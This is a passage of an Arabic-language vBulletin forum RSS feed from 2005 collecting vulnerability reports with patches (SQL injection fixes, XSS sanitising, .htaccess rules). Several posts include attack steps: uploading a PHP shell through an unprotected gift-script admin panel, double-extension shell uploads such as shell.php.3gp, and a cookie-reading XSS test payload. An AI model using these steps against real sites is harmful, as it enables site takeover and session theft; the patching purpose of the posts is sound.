&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; { <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unset($GLOBALS[&quot;$varname&quot;]);&nbsp; &lt;&lt;------</code><hr />
</div>الترقيع:<br />
1- افتح ملف class_core.php وابحث عن السطر التالي :<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">unset($GLOBALS[&quot;$varname&quot;]);</code><hr />
</div>2- إستبدله بالأتي:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">if( !in_array($varname, $this-&gt;superglobal_lookup )) <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  unset($GLOBALS[&quot;$varname&quot;]);</code><hr />
</div>- إحفظ الملف وقم برفعه. <br />
(( منقول ))<br />
تحياتي لكم ... :)</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=12392</guid>
		</item>
		<item>
			<title>ثغره خطيـره فـي سكـربت الإهداءات</title>
			<link>https://kwety.net/vb/showthread.php?t=11860&amp;goto=newpost</link>
			<pubDate>Wed, 12 Oct 2005 18:51:22 GMT</pubDate>
			<description><![CDATA[بسم الله الرحمن الرحيم

--

مثل ماتدرون فيه ثغره في سكربت الأهدائات

وهذي ثغره أخري وأيضا في سكربت الاهدائات وخطيره للغايه

وغالبا ماتي علي هذي الشكل sms فقط نضيف admin بعد الـ sms

يعني راح يكون كذا www.site.com/sms/admin

وإذا ماكان عليه جدار حمايه راح تكون في لوحة التحكم وتقدر ترفع بي اتش بي
تابع الشرح

صورة: http://www.kwety.net/kwety1/q85/j-1.jpg 

تختار [ الايقونات ] بعد كذا تختار إضافة أيقونة جديد

صورة: http://www.kwety.net/kwety1/q85/j-2.jpg 

وكذيه نكون رفعنه البي اتش بي علي الموقع 

طريقة ترقيع الثغره

من وجهة نظري وضع جدار حمايه أفضل 

تقبلو فائق تقديري وحترامي

--


مقتبس من منتداي للكاتب عديم المشاعر]]></description>
			<content:encoded><![CDATA[<div>بسم الله الرحمن الرحيم<br />
<br />
--<br />
<br />
<font color="#CC0000">مثل ماتدرون فيه ثغره في سكربت الأهدائات<br />
<br />
وهذي ثغره أخري وأيضا في سكربت الاهدائات وخطيره للغايه<br />
<br />
وغالبا ماتي علي هذي الشكل sms فقط نضيف admin بعد الـ sms<br />
<br />
يعني راح يكون كذا <a href="http://www.site.com/sms/admin" target="_blank">www.site.com/sms/admin</a><br />
<br />
وإذا ماكان عليه جدار حمايه راح تكون في لوحة التحكم وتقدر ترفع بي اتش بي</font><br />
تابع الشرح<br />
<br />
<img src="http://www.kwety.net/kwety1/q85/j-1.jpg" border="0" alt="" /><br />
<br />
<font color="#CC0000">تختار [ الايقونات ] بعد كذا تختار إضافة أيقونة جديد</font><br />
<br />
<img src="http://www.kwety.net/kwety1/q85/j-2.jpg" border="0" alt="" /><br />
<br />
<font color="#CC0000">وكذيه نكون رفعنه البي اتش بي علي الموقع </font><br />
<br />
<font color="#336600">طريقة ترقيع الثغره</font><br />
<br />
من وجهة نظري وضع جدار حمايه أفضل <br />
<br />
تقبلو فائق تقديري وحترامي<br />
<br />
--<br />
<br />
<br />
مقتبس من منتداي للكاتب عديم المشاعر</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11860</guid>
		</item>
		<item>
			<title>ثغره جديده بـ مركز تحميل الملفات !!</title>
			<link>https://kwety.net/vb/showthread.php?t=11803&amp;goto=newpost</link>
			<pubDate>Tue, 11 Oct 2005 06:21:50 GMT</pubDate>
			<description>السلام عليكم ورحمة الله

ونعـود اليكم من جديد ونخبركم بـ ثغرة جديدة ويجب الترقيع بإسرعـ وقت ممكن

الثغرة بأمتداد: wma 
الاكسبلويت: Shell.php.wma || معروفه هذه 
المكتشف: الله اعلم</description>
			<content:encoded><![CDATA[<div>السلام عليكم ورحمة الله<br />
<br />
ونعـود اليكم من جديد ونخبركم بـ ثغرة جديدة ويجب الترقيع بإسرعـ وقت ممكن<br />
<br />
الثغرة بأمتداد: wma <br />
الاكسبلويت: Shell.php.wma || معروفه هذه <br />
المكتشف: الله اعلم</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11803</guid>
		</item>
		<item>
			<title>ثغره غير خطره في برنامج الاهداءات</title>
			<link>https://kwety.net/vb/showthread.php?t=11802&amp;goto=newpost</link>
			<pubDate>Tue, 11 Oct 2005 06:20:05 GMT</pubDate>
			<description>السلام عليكم ورحمة الله

وصلني خبر بـ ان يوجد ثغرة في برنامج الاهداءات للاخ أبو عمـار
وهي من تجربتيـ ليس خطيرة 


Code:
---------
:: ويمكنك حذف الاهداءات القديمه واضافه أهداءات وأشياء مماثله ::
---------
مسار الثغرة: http://www.Domins.com/arabic/ehdaa/admin/admin_show.php

الترقيع: فقط اعمل Edit تعديل ع ملف Admin_Show.php بإن اذا يوجد ادمن مستخدمـ في البرنامج خلي الي يدش على هل ملف يطلب منهـ الUser | Pass والتعديل سهل طبعناٌ بنسبه لـ للي لهم خبره في الـPhp  

وعمـل جدار ناري من الـسي بنل الموقع على مجلد Admin</description>
			<content:encoded><![CDATA[<div>السلام عليكم ورحمة الله<br />
<br />
وصلني خبر بـ ان يوجد ثغرة في برنامج الاهداءات للاخ أبو عمـار<br />
وهي من تجربتيـ ليس خطيرة <br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">:: ويمكنك حذف الاهداءات القديمه واضافه أهداءات وأشياء مماثله ::</code><hr />
</div>مسار الثغرة: <a href="http://www.Domins.com/arabic/ehdaa/admin/admin_show.php" target="_blank">http://www.Domins.com/arabic/ehdaa/admin/admin_show.php</a><br />
<br />
الترقيع: فقط اعمل Edit تعديل ع ملف Admin_Show.php بإن اذا يوجد ادمن مستخدمـ في البرنامج خلي الي يدش على هل ملف يطلب منهـ الUser | Pass والتعديل سهل طبعناٌ بنسبه لـ للي لهم خبره في الـPhp  <br />
<br />
وعمـل جدار ناري من الـسي بنل الموقع على مجلد Admin</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11802</guid>
		</item>
		<item>
			<title>ثغـرة جديـــــــــــدة ربــــي يستــــرعليـــكم</title>
			<link>https://kwety.net/vb/showthread.php?t=11784&amp;goto=newpost</link>
			<pubDate>Mon, 10 Oct 2005 21:24:42 GMT</pubDate>
			<description><![CDATA[السلام عليكم ورحمة الله وبركاته

ثغرة ملف authorize.php للبيع و الشراء و طريقة ترقيعها

هذا الملف هو ملف بيع و شراء مثل paypal و الطريقة طبعا هي حذفه نهائيا و لا توجد طريقة غيرها للآن و طبعا قم بحذفه لأنه لا يفيدك و هو موجود داخل مجلد subscriptions الموجود داخل مجلد منتداك الرئيسي و لكن إذا كنت ممن يودون استخدامه فتفضل الحل : افتح الملف و ابحث عن الكود :


Code:
---------
$userid = $DB_site->query_first("SELECT userid, languageid, styleid FROM " . TABLE_PREFIX . "user WHERE userid = " . $item_number[1]);
---------

و استبدله بالكود التالي :


Code:
---------
$userid = $DB_site->query_first("SELECT userid, languageid, styleid FROM " . 
TABLE_PREFIX . "user WHERE userid = " .intval( $item_number[1]));
---------
و السلام عليكم و رحمة الله و بركاتة

لا تنسونا من الدعاء الصالح
منقول]]></description>
			<content:encoded><![CDATA[<div>السلام عليكم ورحمة الله وبركاته<br />
<br />
ثغرة ملف authorize.php للبيع و الشراء و طريقة ترقيعها<br />
<br />
هذا الملف هو ملف بيع و شراء مثل paypal و الطريقة طبعا هي حذفه نهائيا و لا توجد طريقة غيرها للآن و طبعا قم بحذفه لأنه لا يفيدك و هو موجود داخل مجلد subscriptions الموجود داخل مجلد منتداك الرئيسي و لكن إذا كنت ممن يودون استخدامه فتفضل الحل : افتح الملف و ابحث عن الكود :<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">$userid = $DB_site-&gt;query_first(&quot;SELECT userid, languageid, styleid FROM &quot; . TABLE_PREFIX . &quot;user WHERE userid = &quot; . $item_number[1]);</code><hr />
</div><br />
و استبدله بالكود التالي :<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">$userid = $DB_site-&gt;query_first(&quot;SELECT userid, languageid, styleid FROM &quot; . <br />
TABLE_PREFIX . &quot;user WHERE userid = &quot; .intval( $item_number[1]));</code><hr />
</div>و السلام عليكم و رحمة الله و بركاتة<br />
<br />
لا تنسونا من الدعاء الصالح<br />
منقول</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11784</guid>
		</item>
		<item>
			<title>الثغرة متواجده في المراكز التحميل</title>
			<link>https://kwety.net/vb/showthread.php?t=11682&amp;goto=newpost</link>
			<pubDate>Sun, 09 Oct 2005 01:08:16 GMT</pubDate>
			<description><![CDATA[السلام عليكم ورحمة الله وبركاته

ونعود أليكم من جديد ونخبركم بـ ثغرة جديدة + الترقيع اهم شئ
اولا: الثغرة متواجده في المراكز التحميل الملفات والهاكات التحميل بـ المنتديات الvb وغيرة وهـي أمتداد (3gp) تمكن المخترق من رفع shell.php.3gp 
وهذه الـشيل:::أختراق الموقع + احتمال السيرفر بالكامل  
وثغرات مركز التحميل بالامتدادات التالية: rar & jpg & gif & 3gp nEw

يااانك تحذف المركز التحميل وتفتك او انك تفتح المفكرة :: وتحط فيها هذه الكود:


Code:
---------
RemoveType .php .php3 .phtml .pl .cgi .rar .jpg .3gp .gif .asp
---------
وتحفظه باسم: .htaccess 

وتـرفعه على نفس مجلد المركز التحميل من الاف تي بي FTP طبعنأُ 

عدم: اعطاء اى ملف صلاحية ====>> 777

والسلام عليكم]]></description>
			<content:encoded><![CDATA[<div>السلام عليكم ورحمة الله وبركاته<br />
<br />
ونعود أليكم من جديد ونخبركم بـ ثغرة جديدة + الترقيع اهم شئ<br />
اولا: الثغرة متواجده في المراكز التحميل الملفات والهاكات التحميل بـ المنتديات الvb وغيرة وهـي أمتداد (3gp) تمكن المخترق من رفع shell.php.3gp <br />
وهذه الـشيل:::أختراق الموقع + احتمال السيرفر بالكامل  <br />
وثغرات مركز التحميل بالامتدادات التالية: rar &amp; jpg &amp; gif &amp; 3gp <font color="#FF0000">nEw</font><br />
<br />
يااانك تحذف المركز التحميل وتفتك او انك تفتح المفكرة :: وتحط فيها هذه الكود:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">RemoveType .php .php3 .phtml .pl .cgi .rar .jpg .3gp .gif .asp</code><hr />
</div>وتحفظه باسم: <font color="#FF0000">.htaccess </font><br />
<br />
وتـرفعه على نفس مجلد المركز التحميل من الاف تي بي FTP طبعنأُ <br />
<br />
عدم: اعطاء اى ملف صلاحية ====&gt;&gt; 777<br />
<br />
والسلام عليكم</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11682</guid>
		</item>
		<item>
			<title>ثغرة شريط اخر المواضيع الجديده و طريقة اغلاقها</title>
			<link>https://kwety.net/vb/showthread.php?t=11587&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 13:29:36 GMT</pubDate>
			<description>سلام عليكم احبائي

بعد اغلاق الثغرة الاولي في شريط اخر المواضيع و التي تمكن المخترق من تنفيذ استعلامات في قاعدة البيانات تظهر له اسم اي عضو و باس وورده المشفر و من بينهم المشرف العام

ظهرت هذا الثغرة بعد اختراق منتدي سوالف سوفت بها

و طرقة حذفها كالتالي

افتح ملف ttlast.php و ابحث عن المتغيرين التاليين

$fsel
$ftitle

و قم بحذفهم

هذا كل ما في الامر

و لكم خالص تحياتي</description>
			<content:encoded><![CDATA[<div>سلام عليكم احبائي<br />
<br />
بعد اغلاق الثغرة الاولي في شريط اخر المواضيع و التي تمكن المخترق من تنفيذ استعلامات في قاعدة البيانات تظهر له اسم اي عضو و باس وورده المشفر و من بينهم المشرف العام<br />
<br />
ظهرت هذا الثغرة بعد اختراق منتدي سوالف سوفت بها<br />
<br />
و طرقة حذفها كالتالي<br />
<br />
افتح ملف ttlast.php و ابحث عن المتغيرين التاليين<br />
<br />
$fsel<br />
$ftitle<br />
<br />
و قم بحذفهم<br />
<br />
هذا كل ما في الامر<br />
<br />
و لكم خالص تحياتي</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11587</guid>
		</item>
		<item>
			<title>ثغرة الرسائل الخاصة</title>
			<link>https://kwety.net/vb/showthread.php?t=11586&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 13:28:31 GMT</pubDate>
			<description><![CDATA[تم اكتشاف ثغرة خطيرة فى منتديات vb3 
ثغرة الرسائل الخاصة 
الاصدارت المصابة هى 3.03, 3.0.4 ,3.0.5 3.0.6,3.0.7

للتأكد من وجود الثغرة اتبع الاتي:
قم بكتابة رسالة جديدة و ضع اسم المستلم و العنوان و في المضمون ضع الكود التالي:


Code:
---------
<Script>java_script:alert(document.cookie);</Script>
---------
 

و اعمل مشاهدة و شووف اللي يظهر لك,, :nice: 
ترقيع الثغرة:
ترقيع الثغرة 
1- تغيير بملف private.php 
ابحث عن 


Code:
---------
$pm['title'] = trim($pm['title']);
---------
استبدلها بى


Code:
---------
$pm['title'] = trim(xss_clean($pm['title']));
---------
وشكرا]]></description>
			<content:encoded><![CDATA[<div>تم اكتشاف ثغرة خطيرة فى منتديات vb3 <br />
ثغرة الرسائل الخاصة <br />
الاصدارت المصابة هى 3.03, 3.0.4 ,3.0.5 3.0.6,3.0.7<br />
<br />
للتأكد من وجود الثغرة اتبع الاتي:<br />
قم بكتابة رسالة جديدة و ضع اسم المستلم و العنوان و في المضمون ضع الكود التالي:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">&lt;Script&gt;javascript<b></b>:alert(document.cookie);&lt;/Script&gt;</code><hr />
</div>و اعمل مشاهدة و شووف اللي يظهر لك,, :nice: <br />
ترقيع الثغرة:<br />
ترقيع الثغرة <br />
1- تغيير بملف private.php <br />
ابحث عن <br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">$pm['title'] = trim($pm['title']);</code><hr />
</div>استبدلها بى<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">$pm['title'] = trim(xss_clean($pm['title']));</code><hr />
</div>وشكرا</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11586</guid>
		</item>
		<item>
			<title><![CDATA[[ثغره] بملف vBulletin 3.0.X init.php SQL Injection]]></title>
			<link>https://kwety.net/vb/showthread.php?t=11585&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 13:27:32 GMT</pubDate>
			<description><![CDATA[*السلام عليكم ورحمة الله وبركاته

تم اكتشاف ثغره جديد في منتديات vb الجيل الثالث 

والثغره موجوده في ملف init.php وتحديداً في سطر 542 وهي ثغرة SQL Injection

ويتم نجاح هذه الثغره إذا كانت خاصية magic_quotes_gpc معطله OFF داخل الـ PHP .

التـــرقـــيـــع :

توجد طريقتين

الأولى :

إضافة السطر التالي في ملف .htaccess

php_value magic_quotes_gpc 1

الثاني/ بتعديل ملف init.php .

قم بالبحث عن
*


PHP:
----------
 

$datastoretemp = $DB_site->query("

	SELECT title, data

	FROM " . TABLE_PREFIX . "datastore

	WHERE title IN ('" . implode("', '", $specialtemplates) . "')

");



unset($specials, $specialtemplates);
----------
 
 
واستبداله بالتالي
 

PHP:
----------
 
if(!is_array($specialtemplates))

	exit;



$specialtemplate = array();

foreach ($specialtemplates AS $arrykey => $arryval)

{

	$specialtemplate[] = addslashes($specialtemplates["$arrykey"]);

}



$datastoretemp = $DB_site->query("

	SELECT title, data

	FROM " . TABLE_PREFIX . "datastore

	WHERE title IN ('" . implode("', '", $specialtemplate) . "')

");

unset($specials, $specialtemplates, $specialtemplate);
----------
 
 
تحياتي]]></description>
			<content:encoded><![CDATA[<div><b><font face="Arial Black"><font size="3"><font color="#2f4f4f">السلام عليكم ورحمة الله وبركاته<br />
<br />
تم اكتشاف ثغره جديد في منتديات vb الجيل الثالث <br />
<br />
والثغره موجوده في ملف init.php وتحديداً في سطر 542 وهي ثغرة SQL Injection<br />
<br />
ويتم نجاح هذه الثغره إذا كانت خاصية magic_quotes_gpc معطله OFF داخل الـ PHP .<br />
<br />
التـــرقـــيـــع :<br />
<br />
توجد طريقتين<br />
<br />
الأولى :<br />
<br />
إضافة السطر التالي في ملف .htaccess<br />
<br />
php_value magic_quotes_gpc 1<br />
<br />
الثاني/ بتعديل ملف init.php .<br />
<br />
قم بالبحث عن<br />
</font></font></font></b><br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود PHP:</div>
	<div class="alt2">
		<hr />
		<code style="white-space:nowrap">
		<div dir="ltr" style="text-align:left;">
			<!-- php buffer start --><code><span style="color: #000000">
<span style="color: #0000BB"><br />$datastoretemp&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$DB_site</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">query</span><span style="color: #007700">(</span><span style="color: #DD0000">"<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;title,&nbsp;data<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;FROM&nbsp;"&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">TABLE_PREFIX&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #DD0000">"datastore<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;WHERE&nbsp;title&nbsp;IN&nbsp;('"&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">implode</span><span style="color: #007700">(</span><span style="color: #DD0000">"',&nbsp;'"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$specialtemplates</span><span style="color: #007700">)&nbsp;.&nbsp;</span><span style="color: #DD0000">"')<br /><br />"</span><span style="color: #007700">);<br /><br /><br /><br />unset(</span><span style="color: #0000BB">$specials</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$specialtemplates</span><span style="color: #007700">);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code><!-- php buffer end -->
		</div>
		</code>
		<hr />
	</div>
</div>واستبداله بالتالي<br />
 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود PHP:</div>
	<div class="alt2">
		<hr />
		<code style="white-space:nowrap">
		<div dir="ltr" style="text-align:left;">
			<!-- php buffer start --><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">if(!</span><span style="color: #0000BB">is_array</span><span style="color: #007700">(</span><span style="color: #0000BB">$specialtemplates</span><span style="color: #007700">))<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;exit;<br /><br /><br /><br /></span><span style="color: #0000BB">$specialtemplate&nbsp;</span><span style="color: #007700">=&nbsp;array();<br /><br />foreach&nbsp;(</span><span style="color: #0000BB">$specialtemplates&nbsp;</span><span style="color: #007700">AS&nbsp;</span><span style="color: #0000BB">$arrykey&nbsp;</span><span style="color: #007700">=&gt;&nbsp;</span><span style="color: #0000BB">$arryval</span><span style="color: #007700">)<br /><br />{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$specialtemplate</span><span style="color: #007700">&#91;&#93;&nbsp;=&nbsp;</span><span style="color: #0000BB">addslashes</span><span style="color: #007700">(</span><span style="color: #0000BB">$specialtemplates</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">"</span><span style="color: #0000BB">$arrykey</span><span style="color: #DD0000">"</span><span style="color: #007700">&#93;);<br /><br />}<br /><br /><br /><br /></span><span style="color: #0000BB">$datastoretemp&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$DB_site</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">query</span><span style="color: #007700">(</span><span style="color: #DD0000">"<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;title,&nbsp;data<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;FROM&nbsp;"&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">TABLE_PREFIX&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #DD0000">"datastore<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;WHERE&nbsp;title&nbsp;IN&nbsp;('"&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">implode</span><span style="color: #007700">(</span><span style="color: #DD0000">"',&nbsp;'"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$specialtemplate</span><span style="color: #007700">)&nbsp;.&nbsp;</span><span style="color: #DD0000">"')<br /><br />"</span><span style="color: #007700">);<br /><br />unset(</span><span style="color: #0000BB">$specials</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$specialtemplates</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$specialtemplate</span><span style="color: #007700">);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code><!-- php buffer end -->
		</div>
		</code>
		<hr />
	</div>
</div>تحياتي</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11585</guid>
		</item>
		<item>
			<title>ثغرة جديدة في النسخ 3.0.7 وحلها موجود معنا بأذن الله... functions_search.php</title>
			<link>https://kwety.net/vb/showthread.php?t=11584&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 13:25:59 GMT</pubDate>
			<description>السلام عليكم ورحمة الله وبركاته ...

ثغرة جديدة وحلها موجود معنا بأذن الله...

وهنا من المصدر نفسه... للتأكيد فقط ,,,,,,

http://www.vbulletin.com/forum/showthread.php?t=133459

وتم اغلاق الثغرة عندنا...

طريقة اغلاق الثغرة هي تبديل ملف functions_search.php في مجلد الانكلود
بمعنى اخر رفع الملف الجديد بدل القديم ويفضل الاحتفاظ بنسخة من القديم...

وهنا النسخة المغلقة من الملف اتمنى من الجميع الاسراع واغلاق الثغرة في منتداه ...

والثغرة موجوده في جميع النسخ الجديدة من السبعة ونازل ... 

أطيب تمنياتي للجميع</description>
			<content:encoded><![CDATA[<div>السلام عليكم ورحمة الله وبركاته ...<br />
<br />
ثغرة جديدة وحلها موجود معنا بأذن الله...<br />
<br />
وهنا من المصدر نفسه... للتأكيد فقط ,,,,,,<br />
<br />
<a href="http://www.vbulletin.com/forum/showthread.php?t=133459" target="_blank">http://www.vbulletin.com/forum/showthread.php?t=133459</a><br />
<br />
وتم اغلاق الثغرة عندنا...<br />
<br />
طريقة اغلاق الثغرة هي تبديل ملف functions_search.php في مجلد الانكلود<br />
بمعنى اخر رفع الملف الجديد بدل القديم ويفضل الاحتفاظ بنسخة من القديم...<br />
<br />
وهنا النسخة المغلقة من الملف اتمنى من الجميع الاسراع واغلاق الثغرة في منتداه ...<br />
<br />
والثغرة موجوده في جميع النسخ الجديدة من السبعة ونازل ... <br />
<br />
أطيب تمنياتي للجميع</div>


	<br />
	<div style="padding:6px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>الملفات المرفقة</legend>
			<table cellpadding="0" cellspacing="3" border="0">
			<tr><td dir="rtl">
	<table border="0" cellpadding="0" width="100%" bordercolor="#444" id="table2" dir="rtl">
		<tr>
			<td><img border="0" class="inlineimg" src="https://kwety.net/vb/5star/attach/zip.gif" alt="&lt;phrase 1=&quot;zip&quot;&gt;نوع الملف: %1$s&lt;/phrase&gt;" width="16" height="16">
	<a href="https://kwety.net/vb/attachment.php?attachmentid=2909" target="_blank">
functions_search[1].php.zip&rlm;</a>&nbsp;&nbsp;
<input type="text" name="T2" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value=" حجم الملف :  6.5 كيلوبايت">
<input type="text" name="T1" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value="المشاهدات غير معروف">&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;</td>
		</tr>
	</table>
			</table>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11584</guid>
		</item>
		<item>
			<title><![CDATA[[ثغره] بملف config.php تختص بالكوكيز]]></title>
			<link>https://kwety.net/vb/showthread.php?t=11583&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 13:23:17 GMT</pubDate>
			<description><![CDATA[السلام عليكم
اشحالكم اخواني اعضاء منتدى ترايد نت
عساكم بخير
في ثغره جديده وهي مالت الكوكيز
الفايده من ها الشغله انك تقدر تحمي منتداك من سرقه الكوكيز ويعدل لك في الكوكيز

واحسب ماسمعت ان حتى لو احد طالع ال hash

مايقدر يستغله في تعدليل الكوكيز والدخول بحساب الادمن
________________
طريقه سد الثغره

افتح ملف الكونفيق الي في منتداك



Code:
---------
// Prefix that all vBulletin cookies will have
// For example
$cookieprefix = 'bb';
---------
غير الحرف bb

الى اي حروف تبيه المهم غير bb

_________
وانتهى الموضوع]]></description>
			<content:encoded><![CDATA[<div>السلام عليكم<br />
اشحالكم اخواني اعضاء منتدى ترايد نت<br />
عساكم بخير<br />
في ثغره جديده وهي مالت الكوكيز<br />
الفايده من ها الشغله انك تقدر تحمي منتداك من سرقه الكوكيز ويعدل لك في الكوكيز<br />
<br />
واحسب ماسمعت ان حتى لو احد طالع ال hash<br />
<br />
مايقدر يستغله في تعدليل الكوكيز والدخول بحساب الادمن<br />
________________<br />
طريقه سد الثغره<br />
<br />
افتح ملف الكونفيق الي في منتداك<br />
<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">// Prefix that all vBulletin cookies will have<br />
// For example<br />
$cookieprefix = 'bb';</code><hr />
</div>غير الحرف bb<br />
<br />
الى اي حروف تبيه المهم غير bb<br />
<br />
_________<br />
وانتهى الموضوع</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11583</guid>
		</item>
		<item>
			<title><![CDATA[[ثغره] بملف includes/functions_faq.php]]></title>
			<link>https://kwety.net/vb/showthread.php?t=11582&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 13:21:37 GMT</pubDate>
			<description>السلام عليكم ورحمة الله وبركاته
تم اكتشاف ثغرة في جميع اصدارات المنتديات حتى الاصدار السابع

والثغرة معروضة في منتدى شركة فبلتن

كان في ثغرة قديمة في نفس الملف لكن الان تم اكتشاف ثغرة أخطر منها

تاريخ اكتشاف الثغرة 2005 1426/5/12

والثغرة في ملف includes/functions_faq.php

طريقة اغلاق الثغرة :

ضع الملف المرفق بالمرفقات بدلا من الملف القديم ومنتداك راح يكون سليم ان شاء الله

تحياتي</description>
			<content:encoded><![CDATA[<div>السلام عليكم ورحمة الله وبركاته<br />
تم اكتشاف ثغرة في جميع اصدارات المنتديات حتى الاصدار السابع<br />
<br />
والثغرة معروضة في منتدى شركة فبلتن<br />
<br />
كان في ثغرة قديمة في نفس الملف لكن الان تم اكتشاف ثغرة أخطر منها<br />
<br />
تاريخ اكتشاف الثغرة 2005 1426/5/12<br />
<br />
والثغرة في ملف includes/functions_faq.php<br />
<br />
طريقة اغلاق الثغرة :<br />
<br />
